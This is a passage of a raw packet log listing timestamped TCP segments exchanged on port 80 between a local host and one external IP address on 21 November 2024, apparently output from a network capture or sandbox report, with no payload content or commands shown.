Nov 21, 2024 22:33:04.640352011 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.640398026 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.642657995 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.642707109 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.642725945 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.642771959 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.645117998 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.645181894 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.645229101 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.645276070 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.647665024 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.647722006 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.647770882 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.647824049 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.650244951 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.650294065 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.650361061 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.650407076 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.652864933 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.652914047 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.653037071 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.653083086 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.655349016 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.655420065 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.655442953 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.655489922 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.657864094 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.657912016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.657991886 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.658036947 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.660517931 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.660563946 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.660787106 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.660835981 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.662985086 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.663044930 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.663053989 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.663095951 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.738559961 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.738639116 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.738676071 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.738719940 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.739286900 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.739340067 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.739483118 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.739537954 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.741825104 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.741868973 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.741951942 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.742023945 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.744414091 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.744467020 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.744554996 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.744601011 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.746942997 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.746990919 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.747133017 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.747184992 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.749448061 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.749468088 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.749490023 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.749500036 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.752000093 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.752041101 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.752043962 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.752084970 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.754605055 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.754616022 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.754645109 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.754667044 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.757077932 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.757139921 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.757142067 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.757179022 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.759654045 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.759721041 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.759751081 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.759799957 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.762176037 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.762237072 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.762309074 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.762355089 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.764873028 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.765007973 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.765024900 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.765067101 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.767252922 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.767311096 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.767421961 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.767472982 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.769741058 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.769792080 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.769810915 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.769860029 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.772180080 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.772241116 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.772268057 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.772320032 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.774499893 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.774549961 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.774580956 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.774630070 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.776618004 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.776671886 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.776700020 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.776742935 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.778836012 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.778896093 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.778928041 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.778979063 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.780894041 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.780960083 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.781050920 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.781100035 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.782927990 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.782972097 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.858443022 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.858462095 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.858510017 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.858536005 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.859262943 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.859318972 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.859397888 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.859447956 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.861244917 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.861263990 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.861319065 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.861341000 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.863061905 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.863117933 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.863135099 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.863181114 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.864999056 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.865051031 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.865067959 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.865111113 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.866959095 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.867005110 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.867033958 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.867049932 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.868985891 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.869025946 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.869040966 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.869070053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.870835066 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.870877028 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.870887995 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.870918989 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.872800112 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.872853994 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.872894049 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.872942924 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.874752045 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.874799967 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.874875069 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.874922991 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.877537012 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.877547979 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.877593040 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.878668070 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.878717899 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.878864050 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.878912926 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.880548954 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.880611897 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.880695105 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.880743980 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.882493019 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.882541895 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.882558107 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.882605076 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.884480000 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.884531021 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.884558916 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.884608984 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.886485100 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.886537075 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.886620998 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.886668921 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.888346910 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.888417959 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.888447046 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.888495922 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.890336037 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.890388012 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.890449047 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.890496016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.894017935 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.894030094 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.894067049 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.894078016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.894728899 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.894741058 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.894783020 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.896085024 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.896135092 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.896135092 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.896174908 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.898039103 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.898088932 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.898152113 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.898197889 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.902719975 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.902735949 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.902746916 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.902756929 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.902770996 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.902784109 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.902816057 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.904337883 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.904391050 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.904479027 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.904527903 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.906200886 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.906241894 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.906373024 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.906424046 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.908252001 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.908262968 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.908305883 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.910137892 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.910191059 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.910299063 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.910347939 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.912134886 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.912146091 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.912183046 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.914071083 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.914123058 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.914403915 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.914455891 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.931202888 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.931272030 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.931396961 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.931442976 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.932024956 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.932075024 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.932377100 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.932425022 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.932538033 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.932586908 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.934397936 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.934442043 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.934577942 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.934623957 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.936090946 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.936104059 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.936126947 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.936145067 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.937752962 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.937803030 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.937813044 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.937849998 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.939686060 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.939737082 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.939840078 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.939888000 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.941628933 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.941694021 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.941700935 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.941735983 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.943583012 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.943629980 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.943671942 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.943671942 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.945580959 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.945631027 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.945645094 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.945691109 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.947444916 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.947494030 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.947521925 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.947565079 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.949457884 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.949507952 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.949559927 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.949604988 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.954123020 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.954133034 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.954143047 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.954153061 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.954180956 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.954209089 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.955853939 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.955864906 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.955899954 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.955923080 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.957582951 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.957629919 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.957880974 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.957927942 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.959772110 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.959781885 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.959826946 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.961560011 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.961606026 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.961725950 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.961771011 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.963524103 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.963570118 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.963680029 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.963726044 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.965523958 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.965533018 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.965565920 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.967392921 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.967403889 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.967436075 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.967458963 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.969330072 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.969377995 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.969475985 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.969521046 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.971319914 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.971373081 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.971476078 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.971520901 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.973361969 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.973408937 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.009670019 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.009742975 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.009845972 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.009895086 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.010488033 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.010536909 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.010679960 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.010725021 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.012291908 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.012345076 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.012470007 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.012518883 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.013935089 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.013992071 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.014091969 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.014137030 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.015788078 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.015834093 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.015953064 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.015997887 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.017565966 CET	80	49733	109.107.157.132	192.168.2.4
